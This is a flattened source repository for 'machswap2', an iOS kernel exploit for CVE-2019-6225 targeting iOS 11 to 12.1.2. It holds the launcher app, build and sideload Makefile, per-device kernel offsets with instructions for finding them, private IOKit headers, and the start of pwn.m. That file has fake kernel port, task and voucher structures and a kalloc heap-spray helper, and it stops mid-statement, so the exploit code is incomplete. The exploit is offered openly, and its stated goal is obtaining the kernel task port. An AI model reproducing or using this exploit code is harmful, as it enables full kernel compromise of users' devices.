├── .gitignore ├── src ├── pwn.h ├── main.m ├── AppDelegate.h ├── ViewController.h ├── ViewController.m ├── common.h ├── AppDelegate.m ├── offsets.h ├── offsets.m ├── iokit.h └── pwn.m ├── README.md ├── res └── Info.plist └── Makefile /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | bin/ 3 | *.ipa 4 | res/*.mobileprovision 5 | -------------------------------------------------------------------------------- /src/pwn.h: -------------------------------------------------------------------------------- 1 | #ifndef PWN_H 2 | #define PWN_H 3 | 4 | #include 5 | 6 | #include "common.h" 7 | 8 | kern_return_t exploit(offsets_t *offsets, task_t *tfp0, uint64_t *kbase); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /src/main.m: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | #import "AppDelegate.h" 4 | 5 | int main(int argc, char *argv[]) 6 | { 7 | @autoreleasepool 8 | { 9 | return UIApplicationMain(argc, argv, NSStringFromClass([UIApplication class]), NSStringFromClass([AppDelegate class])); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /src/AppDelegate.h: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.h 3 | // machswap 4 | // 5 | // Created by Ben on 23/01/2019. 6 | // Copyright © 2019 Ben. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface AppDelegate : UIResponder 12 | 13 | @property (strong, nonatomic) UIWindow *window; 14 | 15 | 16 | @end 17 | 18 | -------------------------------------------------------------------------------- /src/ViewController.h: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.h 3 | // machswap 4 | // 5 | // Created by Ben on 23/01/2019. 6 | // Copyright © 2019 Ben. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface ViewController : UIViewController 12 | 13 | @property(nonatomic, strong) UINavigationController *nav; 14 | 15 | - (id)initWithNav:(UINavigationController *)nav; 16 | 17 | @end 18 | 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # machswap2 2 | 3 | An iOS kernel exploit for iOS 11 - 12.1.2. Based on the task_swap_mach_voucher bug (CVE-2019-6225), joint-discovered/released by @S0rryMyBad and @bazad. Somewhat loosely based on @s1guza's v0rtex exploit, and @tihmstar's v3ntex exploit. 4 | 5 | Works on A7 - A11 devices (no A12 as I have no A12 device). 6 | 7 | Many thanks to @s1guza, @littlelailo, and @qwertyoruiopz. 8 | 9 | Twitter - https://twitter.com/iBSparkes 10 | -------------------------------------------------------------------------------- /res/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleIdentifier 6 | $(PACKAGE) 7 | CFBundleName 8 | $(TARGET) 9 | CFBundleExecutable 10 | $(TARGET) 11 | CFBundleVersion 12 | $(VERSION) 13 | CFBundleShortVersionString 14 | $(VERSION) 15 | UIFileSharingEnabled 16 | 17 | UIRequiredDeviceCapabilities 18 | 19 | armv7 20 | 21 | LSRequiresIPhoneOS 22 | 23 | UISupportedInterfaceOrientations 24 | 25 | UIInterfaceOrientationPortrait 26 | 27 | UISupportedInterfaceOrientations~ipad 28 | 29 | UIInterfaceOrientationPortrait 30 | 31 | CFBundleDevelopmentRegion 32 | en 33 | CFBundleInfoDictionaryVersion 34 | 6.0 35 | CFBundleSignature 36 | ???? 37 | 38 | -------------------------------------------------------------------------------- /src/ViewController.m: -------------------------------------------------------------------------------- 1 | // 2 | // ViewController.m 3 | // machswap 4 | // 5 | // Created by Ben on 23/01/2019. 6 | // Copyright © 2019 Ben. All rights reserved. 7 | // 8 | 9 | #import "ViewController.h" 10 | 11 | #include 12 | #include 13 | 14 | #include "common.h" 15 | #include "pwn.h" 16 | #include "offsets.h" 17 | 18 | @interface ViewController () 19 | 20 | @end 21 | 22 | @implementation ViewController 23 | 24 | - (id)initWithNav:(UINavigationController *)nav 25 | { 26 | id ret = [super init]; 27 | self.nav = nav; 28 | return ret; 29 | } 30 | 31 | void *haxxThread(void *arg) 32 | { 33 | kern_return_t ret; 34 | 35 | offsets_t *offs = get_offsets(); 36 | if (offs == NULL) 37 | { 38 | LOG("failed to get offsets!"); 39 | return NULL; 40 | } 41 | 42 | mach_port_t tfp0; 43 | uint64_t kernel_base; 44 | ret = exploit(offs, &tfp0, &kernel_base); 45 | if (ret != KERN_SUCCESS) 46 | { 47 | LOG("failed to run exploit: %x %s", ret, mach_error_string(ret)); 48 | return NULL; 49 | } 50 | 51 | LOG("success!"); 52 | LOG("tfp0: %x", tfp0); 53 | LOG("kernel base: 0x%llx", kernel_base); 54 | 55 | return NULL; 56 | } 57 | 58 | - (void)viewDidLoad 59 | { 60 | [super viewDidLoad]; 61 | 62 | pthread_t thd; 63 | pthread_create(&thd, NULL, &haxxThread, NULL); 64 | } 65 | 66 | @end 67 | -------------------------------------------------------------------------------- /src/common.h: -------------------------------------------------------------------------------- 1 | #ifndef COMMON_H 2 | #define COMMON_H 3 | 4 | #include 5 | #include 6 | #import 7 | 8 | #include "offsets.h" 9 | 10 | #ifdef RELEASE 11 | # define LOG(str, args...) do { } while(0) 12 | #else 13 | # define LOG(str, args...) do { NSLog(@"[%s] " str, __func__, ##args); } while(0) 14 | #endif 15 | 16 | extern kern_return_t bootstrap_look_up(mach_port_t bp, char *name, mach_port_t *sp); 17 | extern mach_port_t mach_reply_port(void); 18 | extern kern_return_t mach_vm_allocate(task_t task, mach_vm_address_t *addr, mach_vm_size_t size, int flags); 19 | extern kern_return_t mach_vm_deallocate(task_t task, mach_vm_address_t address, mach_vm_size_t size); 20 | extern kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt); 21 | extern kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); 22 | extern kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); 23 | extern kern_return_t mach_vm_protect(task_t task, mach_vm_address_t addr, mach_vm_size_t size, boolean_t set_max, vm_prot_t new_prot); 24 | extern kern_return_t mach_vm_map(task_t task, mach_vm_address_t *addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, mem_entry_name_port_t object, memory_object_offset_t offset, boolean_t copy, vm_prot_t cur, vm_prot_t max, vm_inherit_t inheritance); 25 | extern kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit); 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | TARGET = machswap2 2 | PACKAGE = zone.sparkes.machswap2 3 | VERSION = 1.0.0 4 | BIN = bin 5 | SRC = src 6 | RES = res 7 | APP = $(BIN)/Payload/$(TARGET).app 8 | IPA = $(TARGET).ipa 9 | # PNGS := $(wildcard $(RES)/*.png) 10 | FILES := $(TARGET) Info.plist 11 | IGCC ?= xcrun -sdk iphoneos gcc 12 | ARCH ?= -arch arm64 13 | IGCC_FLAGS ?= -Wall -O3 -fmodules -framework IOKit $(CFLAGS) 14 | STRIP ?= xcrun -sdk iphoneos strip 15 | 16 | .PHONY: all ipa clean install 17 | 18 | all: $(IPA) 19 | 20 | ipa: $(IPA) 21 | 22 | $(IPA): $(addprefix $(APP)/, $(FILES)) 23 | cd $(BIN) && zip -x .DS_Store -qr9 ../$@ Payload 24 | 25 | $(APP)/$(TARGET): $(SRC)/*.m | $(APP) 26 | $(IGCC) $(ARCH) -o $@ $(IGCC_FLAGS) $^ 27 | $(STRIP) $@ 28 | 29 | $(APP)/Info.plist: $(RES)/Info.plist | $(APP) 30 | sed 's/$$(TARGET)/$(TARGET)/g;s/$$(PACKAGE)/$(PACKAGE)/g;s/$$(VERSION)/$(VERSION)/g' $(RES)/Info.plist > $@ 31 | 32 | $(APP)/%.png: $(RES)/$(@F) | $(APP) 33 | cp $(RES)/$(@F) $@ 34 | 35 | $(APP): 36 | mkdir -p $@ 37 | 38 | clean: 39 | rm -rf $(BIN) 40 | rm -f *.ipa *.dylib $(TRAMP) 41 | 42 | ifndef ID 43 | install: 44 | @echo 'Environment variable ID not set' 45 | exit 1 46 | else 47 | install: | $(IPA) 48 | cp res/*.mobileprovision $(APP)/embedded.mobileprovision 49 | echo '' >tmp.plist 50 | echo '' >>tmp.plist 51 | echo '' >>tmp.plist 52 | echo '' >>tmp.plist 53 | strings res/*.mobileprovision | egrep -A1 'application-identifier' >>tmp.plist 54 | strings res/*.mobileprovision | egrep -A1 'team-identifier' >>tmp.plist 55 | echo '' >>tmp.plist 56 | echo '' >>tmp.plist 57 | codesign -f -s '$(ID)' --entitlements tmp.plist $(APP) 58 | rm tmp.plist 59 | cd $(BIN) && zip -x .DS_Store -qr9 ../$(IPA) Payload 60 | ideviceinstaller -i $(IPA) 61 | endif 62 | -------------------------------------------------------------------------------- /src/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.m 3 | // machswap 4 | // 5 | // Created by Ben on 23/01/2019. 6 | // Copyright © 2019 Ben. All rights reserved. 7 | // 8 | 9 | #import "AppDelegate.h" 10 | #import "ViewController.h" 11 | 12 | @interface AppDelegate () 13 | 14 | @end 15 | 16 | @implementation AppDelegate 17 | 18 | 19 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions 20 | { 21 | UINavigationController *nav = [UINavigationController alloc]; 22 | nav = [nav initWithRootViewController:[[ViewController alloc] initWithNav:nav]]; 23 | 24 | self.window = [[UIWindow alloc] initWithFrame:[[UIScreen mainScreen] bounds]]; 25 | [self.window setRootViewController:nav]; 26 | [self.window makeKeyAndVisible]; 27 | 28 | return YES; 29 | } 30 | 31 | 32 | - (void)applicationWillResignActive:(UIApplication *)application { 33 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. 34 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. 35 | } 36 | 37 | 38 | - (void)applicationDidEnterBackground:(UIApplication *)application { 39 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. 40 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. 41 | } 42 | 43 | 44 | - (void)applicationWillEnterForeground:(UIApplication *)application { 45 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. 46 | } 47 | 48 | 49 | - (void)applicationDidBecomeActive:(UIApplication *)application { 50 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. 51 | } 52 | 53 | 54 | - (void)applicationWillTerminate:(UIApplication *)application { 55 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. 56 | } 57 | 58 | 59 | @end 60 | -------------------------------------------------------------------------------- /src/offsets.h: -------------------------------------------------------------------------------- 1 | #ifndef OFFSETS_H 2 | #define OFFSETS_H 3 | 4 | typedef struct { 5 | struct { 6 | /* strings kernel | grep 'Darwin' */ 7 | const char *version; 8 | 9 | /* basically will always be: 0xfffffff007004000 */ 10 | uint64_t kernel_image_base; 11 | } constant; 12 | 13 | struct { 14 | /* 15 | nm kernel | grep '_proc_pid' 16 | 'ldr w0, [x0, #offset] 17 | */ 18 | uint32_t proc_pid; 19 | 20 | /* 21 | nm kernel | grep '_proc_task' 22 | 'ldr x0, [x0, #offset] 23 | */ 24 | uint32_t proc_task; 25 | 26 | /* 27 | nm kernel | grep '_proc_ucred' 28 | 'ldr x0, [x0, #offset] 29 | */ 30 | uint32_t proc_ucred; 31 | 32 | /* 33 | nm kernel | grep '_get_task_map' 34 | 'ldr x0, [x0, #offset] 35 | */ 36 | uint32_t task_vm_map; 37 | 38 | /* 39 | nm kernel | grep '_get_bsdtask_info' 40 | 'ld rx0, [x0, #offset] 41 | */ 42 | uint32_t task_bsd_info; 43 | 44 | /* 45 | joker -m kernel | grep 'task_self_trap' 46 | go into 'bl' call 47 | near the start of the func, just after _lck_mtx_lock, 48 | it will load two values from a reg and compare them 49 | one is later loaded into x0, this is the one you *dont'* want 50 | you need the offset of the one which *isn't* later loaded into x0 51 | ldr xN, [xN, #offset] 52 | image: https://i.imgur.com/RlauIez.png 53 | */ 54 | uint32_t task_itk_self; 55 | 56 | /* 57 | joker -m kernel | grep mach_ports_lookup 58 | about 1/3rd the way into the func it will load a value from a reg, 59 | call a function, and store the return value, 3 times in a row 60 | it will load from 3 offsets such as 0x2F0, 0x2F8, and 0x300 (notice they are all contiguous) 61 | the lowest of the three offsets is the one you want 62 | image: https://i.imgur.com/0M1mUSM.png 63 | (note the repeating pattern of 'ldr x0, [x20, #offset]', 'bl identical_func', 'str x0, [x21 #off]') 64 | */ 65 | uint32_t task_itk_registered; 66 | 67 | /* 68 | joker -m kernel | grep 'task_info' 69 | about halfway down the func, just before a _task_deallocate call, it will 70 | load reg x0-x3, and then call a func 71 | within that func there is a jumptable, you need to find case 17 (TASK_DYLD_INFO) 72 | in here it will do two loads and stores, the first load is your _image_info_addr offset, 73 | the second is your _image_info_size offset (however this should be the _info_addr offset +0x8) 74 | image: https://i.imgur.com/WpG6Ub6.png 75 | */ 76 | uint32_t task_all_image_info_addr; 77 | uint32_t task_all_image_info_size; 78 | } struct_offsets; 79 | 80 | struct { 81 | /* 82 | if IOSurface::create_surface fails, this offset being wrong is why 83 | you can find the offset manually, but it's usually either 84 | 0x6c8 for 11.0.x, 0xbc8 for 11.1.x-11.4.x, or 0xdd0 for 12.x 85 | */ 86 | uint32_t create_outsize; 87 | 88 | /* 89 | iometa -Csov IOUserClient kernel | grep 'getExternalTrapForIndex' 90 | take the index (usually 0x5b8) and divide by 0x8 91 | */ 92 | uint32_t get_external_trap_for_index; 93 | } iosurface; 94 | } offsets_t; 95 | 96 | offsets_t *get_offsets(void); 97 | 98 | #endif 99 | -------------------------------------------------------------------------------- /src/offsets.m: -------------------------------------------------------------------------------- 1 | #include 2 | #include // strcmp, strerror 3 | #include // uname 4 | 5 | #include "common.h" // LOG, kptr_t 6 | #include "offsets.h" 7 | 8 | static offsets_t *offsets[] = 9 | { 10 | &(offsets_t) 11 | { 12 | .constant = 13 | { 14 | .version = "Darwin Kernel Version 18.2.0: Mon Nov 12 20:32:02 PST 2018; root:xnu-4903.232.2~1/RELEASE_ARM64_S8000", 15 | .kernel_image_base = 0xfffffff007004000, 16 | }, 17 | .struct_offsets = 18 | { 19 | .proc_pid = 0x60, 20 | .proc_task = 0x10, 21 | .proc_ucred = 0xf8, 22 | .task_vm_map = 0x20, 23 | .task_bsd_info = 0x358, 24 | .task_itk_self = 0xd8, 25 | .task_itk_registered = 0x2e8, 26 | .task_all_image_info_addr = 0x398, 27 | .task_all_image_info_size = 0x3a0, 28 | }, 29 | .iosurface = 30 | { 31 | .create_outsize = 0xdd0, 32 | .get_external_trap_for_index = 0xb7, 33 | }, 34 | }, 35 | &(offsets_t) 36 | { 37 | .constant = 38 | { 39 | .version = "Darwin Kernel Version 18.2.0: Mon Nov 12 20:32:02 PST 2018; root:xnu-4903.232.2~1/RELEASE_ARM64_T8010", 40 | .kernel_image_base = 0xfffffff007004000, 41 | }, 42 | .struct_offsets = 43 | { 44 | .proc_pid = 0x60, 45 | .proc_task = 0x10, 46 | .proc_ucred = 0xf8, 47 | .task_vm_map = 0x20, 48 | .task_bsd_info = 0x358, 49 | .task_itk_self = 0xd8, 50 | .task_itk_registered = 0x2e8, 51 | .task_all_image_info_addr = 0x398, 52 | .task_all_image_info_size = 0x3a0, 53 | }, 54 | .iosurface = 55 | { 56 | .create_outsize = 0xdd0, 57 | .get_external_trap_for_index = 0xb7, 58 | }, 59 | }, 60 | &(offsets_t) 61 | { 62 | .constant = 63 | { 64 | .version = "Darwin Kernel Version 17.7.0: Mon Jun 11 19:06:26 PDT 2018; root:xnu-4570.70.24~3/RELEASE_ARM64_S5L8960X", 65 | .kernel_image_base = 0xfffffff007004000, 66 | }, 67 | .struct_offsets = 68 | { 69 | .proc_pid = 0x10, 70 | .proc_task = 0x18, 71 | .proc_ucred = 0x100, 72 | .task_vm_map = 0x20, 73 | .task_bsd_info = 0x368, 74 | .task_itk_self = 0xd8, 75 | .task_itk_registered = 0x2f0, 76 | .task_all_image_info_addr = 0x3a8, 77 | .task_all_image_info_size = 0x3b0, 78 | }, 79 | .iosurface = 80 | { 81 | .create_outsize = 0xbc8, 82 | .get_external_trap_for_index = 0xb7, 83 | }, 84 | }, 85 | &(offsets_t) 86 | { 87 | .constant = 88 | { 89 | .version = "Darwin Kernel Version 16.7.0: Thu Jun 15 18:33:35 PDT 2017; root:xnu-3789.70.16~4/RELEASE_ARM64_S5L8960X", 90 | .kernel_image_base = 0xfffffff007004000, 91 | }, 92 | .struct_offsets = 93 | { 94 | .proc_pid = 0x10, 95 | .proc_task = 0x18, 96 | .proc_ucred = 0x100, 97 | .task_vm_map = 0x20, 98 | .task_bsd_info = 0x360, 99 | .task_itk_self = 0xd8, 100 | .task_itk_registered = 0x2e8, 101 | .task_all_image_info_addr = 0x3a0, 102 | .task_all_image_info_size = 0x3a8, 103 | }, 104 | .iosurface = 105 | { 106 | .create_outsize = 0x3c8, 107 | .get_external_trap_for_index = 0xb7, 108 | }, 109 | }, 110 | NULL, 111 | }; 112 | 113 | offsets_t *get_offsets(void) 114 | { 115 | struct utsname u; 116 | if (uname(&u) != 0) 117 | { 118 | LOG("uname: %s", strerror(errno)); 119 | return 0; 120 | } 121 | 122 | for (size_t i = 0; offsets[i] != 0; ++i) 123 | { 124 | if (strcmp(u.version, offsets[i]->constant.version) == 0) 125 | { 126 | return offsets[i]; 127 | } 128 | } 129 | 130 | LOG("Failed to get offsets for kernel version: %s", u.version); 131 | return NULL; 132 | } 133 | -------------------------------------------------------------------------------- /src/iokit.h: -------------------------------------------------------------------------------- 1 | #ifndef IOKIT_H 2 | #define IOKIT_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | typedef char io_name_t[128]; 9 | typedef char io_string_t[512]; 10 | typedef char io_struct_inband_t[4096]; 11 | typedef mach_port_t io_object_t; 12 | typedef io_object_t io_registry_entry_t; 13 | typedef io_object_t io_service_t; 14 | typedef io_object_t io_connect_t; 15 | typedef io_object_t io_iterator_t; 16 | 17 | enum 18 | { 19 | kIOCFSerializeToBinary = 0x00000001U, 20 | }; 21 | 22 | enum 23 | { 24 | kIOMapAnywhere = 0x00000001U, 25 | }; 26 | 27 | enum 28 | { 29 | kIORegistryIterateRecursively = 0x00000001U, 30 | kIORegistryIterateParents = 0x00000002U, 31 | }; 32 | 33 | enum 34 | { 35 | kOSSerializeDictionary = 0x01000000U, 36 | kOSSerializeArray = 0x02000000U, 37 | kOSSerializeSet = 0x03000000U, 38 | kOSSerializeNumber = 0x04000000U, 39 | kOSSerializeSymbol = 0x08000000U, 40 | kOSSerializeString = 0x09000000U, 41 | kOSSerializeData = 0x0a000000U, 42 | kOSSerializeBoolean = 0x0b000000U, 43 | kOSSerializeObject = 0x0c000000U, 44 | 45 | kOSSerializeTypeMask = 0x7F000000U, 46 | kOSSerializeDataMask = 0x00FFFFFFU, 47 | 48 | kOSSerializeEndCollection = 0x80000000U, 49 | 50 | kOSSerializeMagic = 0x000000d3U, 51 | }; 52 | 53 | extern const mach_port_t kIOMasterPortDefault; 54 | 55 | CF_RETURNS_RETAINED CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options); 56 | CFTypeRef IOCFUnserializeWithSize(const char *buf, size_t len, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *err); 57 | 58 | kern_return_t IOObjectRetain(io_object_t object); 59 | kern_return_t IOObjectRelease(io_object_t object); 60 | boolean_t IOObjectConformsTo(io_object_t object, const io_name_t name); 61 | uint32_t IOObjectGetKernelRetainCount(io_object_t object); 62 | kern_return_t IOObjectGetClass(io_object_t object, io_name_t name); 63 | CFStringRef IOObjectCopyClass(io_object_t object); 64 | CFStringRef IOObjectCopySuperclassForClass(CFStringRef name); 65 | CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef name); 66 | 67 | io_registry_entry_t IORegistryGetRootEntry(mach_port_t master); 68 | kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name); 69 | kern_return_t IORegistryEntryGetRegistryEntryID(io_registry_entry_t entry, uint64_t *entryID); 70 | kern_return_t IORegistryEntryGetPath(io_registry_entry_t entry, const io_name_t plane, io_string_t path); 71 | kern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t name, io_struct_inband_t buffer, uint32_t *size); 72 | kern_return_t IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, uint32_t options); 73 | CFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, uint32_t options); 74 | kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties); 75 | 76 | kern_return_t IORegistryCreateIterator(mach_port_t master, const io_name_t plane, uint32_t options, io_iterator_t *it); 77 | kern_return_t IORegistryEntryCreateIterator(io_registry_entry_t entry, const io_name_t plane, uint32_t options, io_iterator_t *it); 78 | kern_return_t IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it); 79 | kern_return_t IORegistryEntryGetParentIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it); 80 | io_object_t IOIteratorNext(io_iterator_t it); 81 | boolean_t IOIteratorIsValid(io_iterator_t it); 82 | void IOIteratorReset(io_iterator_t it); 83 | 84 | CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; 85 | CFMutableDictionaryRef IOServiceNameMatching(const char *name) CF_RETURNS_RETAINED; 86 | io_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT); 87 | kern_return_t IOServiceGetMatchingServices(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t *it); 88 | kern_return_t _IOServiceGetAuthorizationID(io_service_t service, uint64_t *authID); 89 | kern_return_t _IOServiceSetAuthorizationID(io_service_t service, uint64_t authID); 90 | kern_return_t IOServiceGetBusyStateAndTime(io_service_t service, uint64_t *state, uint32_t *busyState, uint64_t *busyTime); 91 | kern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client); 92 | kern_return_t IOServiceClose(io_connect_t client); 93 | kern_return_t IOCloseConnection(io_connect_t client); 94 | kern_return_t IOConnectAddRef(io_connect_t client); 95 | kern_return_t IOConnectRelease(io_connect_t client); 96 | kern_return_t IOConnectGetService(io_connect_t client, io_service_t *service); 97 | kern_return_t IOConnectAddClient(io_connect_t client, io_connect_t other); 98 | kern_return_t IOConnectSetNotificationPort(io_connect_t client, uint32_t type, mach_port_t port, uintptr_t ref); 99 | kern_return_t IOConnectMapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t *addr, mach_vm_size_t *size, uint32_t options); 100 | kern_return_t IOConnectUnmapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t addr); 101 | kern_return_t IOConnectSetCFProperties(io_connect_t client, CFTypeRef properties); 102 | kern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt); 103 | kern_return_t IOConnectCallScalarMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt); 104 | kern_return_t IOConnectCallStructMethod(io_connect_t client, uint32_t selector, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt); 105 | kern_return_t IOConnectCallAsyncMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt); 106 | kern_return_t IOConnectCallAsyncScalarMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt); 107 | kern_return_t IOConnectCallAsyncStructMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt); 108 | kern_return_t IOConnectTrap6(io_connect_t client, uint32_t index, uintptr_t a, uintptr_t b, uintptr_t c, uintptr_t d, uintptr_t e, uintptr_t f); 109 | 110 | #endif 111 | -------------------------------------------------------------------------------- /src/pwn.m: -------------------------------------------------------------------------------- 1 | #include // errno 2 | #include // sched_yield 3 | #include // malloc, free 4 | #include // strerror 5 | #include // usleep, setuid, getuid 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #import 13 | 14 | #include "common.h" // LOG, uint64_t 15 | #include "pwn.h" 16 | #include "iokit.h" 17 | 18 | // ********** ********** ********** constants ********** ********** ********** 19 | 20 | const uint64_t IOSURFACE_CREATE_SURFACE = 0; 21 | const uint64_t IOSURFACE_SET_VALUE = 9; 22 | const uint64_t IOSURFACE_GET_VALUE = 10; 23 | const uint64_t IOSURFACE_DELETE_VALUE = 11; 24 | 25 | // ********** ********** ********** helpers ********** ********** ********** 26 | 27 | static uint32_t transpose(uint32_t val) 28 | { 29 | uint32_t ret = 0; 30 | for (size_t i = 0; val > 0; i += 8) 31 | { 32 | ret += (val % 255) << i; 33 | val /= 255; 34 | } 35 | return ret + 0x01010101; 36 | } 37 | 38 | // ********** ********** ********** data structures ********** ********** ********** 39 | 40 | #define IO_BITS_ACTIVE 0x80000000 41 | #define IOT_PORT 0 42 | #define IKOT_TASK 2 43 | #define IKOT_CLOCK 25 44 | #define IKOT_IOKIT_CONNECT 29 45 | 46 | #define PIPEBUF_TASK_OFFSET 0x100 47 | 48 | #define WQT_QUEUE 0x2 49 | #define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7) 50 | 51 | typedef volatile struct 52 | { 53 | /* 0x00 */ uint32_t iv_hash; 54 | /* 0x04 */ uint32_t iv_sum; 55 | /* 0x08 */ uint32_t iv_refs; 56 | /* 0x0c */ uint32_t iv_table_size; 57 | /* 0x10 */ uint32_t iv_inline_table[6]; 58 | /* 0x28 */ uint64_t padding0; 59 | /* 0x30 */ uint64_t iv_table; 60 | /* 0x38 */ uint64_t iv_port; 61 | /* 0x40 */ uint64_t iv_hash_link_next; 62 | /* 0x48 */ uint64_t iv_hash_link_prev; 63 | } fake_ipc_voucher_t; 64 | 65 | typedef volatile struct 66 | { 67 | uint32_t ip_bits; 68 | uint32_t ip_references; 69 | struct { 70 | uint64_t data; 71 | uint64_t type; 72 | } ip_lock; // spinlock 73 | struct { 74 | struct { 75 | struct { 76 | uint32_t flags; 77 | uint32_t waitq_interlock; 78 | uint64_t waitq_set_id; 79 | uint64_t waitq_prepost_id; 80 | struct { 81 | uint64_t next; 82 | uint64_t prev; 83 | } waitq_queue; 84 | } waitq; 85 | uint64_t messages; 86 | uint32_t seqno; 87 | uint32_t receiver_name; 88 | uint16_t msgcount; 89 | uint16_t qlimit; 90 | uint32_t pad; 91 | } port; 92 | uint64_t klist; 93 | } ip_messages; 94 | uint64_t ip_receiver; 95 | uint64_t ip_kobject; 96 | uint64_t ip_nsrequest; 97 | uint64_t ip_pdrequest; 98 | uint64_t ip_requests; 99 | uint64_t ip_premsg; 100 | uint64_t ip_context; 101 | uint32_t ip_flags; 102 | uint32_t ip_mscount; 103 | uint32_t ip_srights; 104 | uint32_t ip_sorights; 105 | } kport_t; 106 | 107 | typedef struct 108 | { 109 | struct { 110 | uint64_t data; 111 | uint32_t reserved : 24, 112 | type : 8; 113 | uint32_t pad; 114 | } lock; // mutex lock 115 | uint32_t ref_count; 116 | uint32_t active; 117 | uint32_t halting; 118 | uint32_t pad; 119 | uint64_t map; 120 | } ktask_t; 121 | 122 | union waitq_flags { 123 | struct { 124 | uint32_t /* flags */ 125 | waitq_type:2, /* only public field */ 126 | waitq_fifo:1, /* fifo wakeup policy? */ 127 | waitq_prepost:1, /* waitq supports prepost? */ 128 | waitq_irq:1, /* waitq requires interrupts disabled */ 129 | waitq_isvalid:1, /* waitq structure is valid */ 130 | waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */ 131 | waitq_eventmask:_EVENT_MASK_BITS; 132 | }; 133 | uint32_t flags; 134 | }; 135 | 136 | typedef struct 137 | { 138 | mach_msg_header_t head; 139 | uint64_t verification_key; 140 | char data[0]; 141 | char padding[4]; 142 | } mach_msg_data_buffer_t; 143 | 144 | // ********** ********** ********** MIG ********** ********** ********** 145 | 146 | struct simple_msg 147 | { 148 | mach_msg_header_t hdr; 149 | char buf[0]; 150 | }; 151 | 152 | /* credits to ian beer */ 153 | mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size) 154 | { 155 | // allocate a port to send the messages to 156 | mach_port_t q = MACH_PORT_NULL; 157 | kern_return_t err; 158 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q); 159 | if (err != KERN_SUCCESS) 160 | { 161 | printf(" [-] failed to allocate port\n"); 162 | exit(EXIT_FAILURE); 163 | } 164 | 165 | mach_port_limits_t limits = {0}; 166 | limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; 167 | err = mach_port_set_attributes(mach_task_self(), 168 | q, 169 | 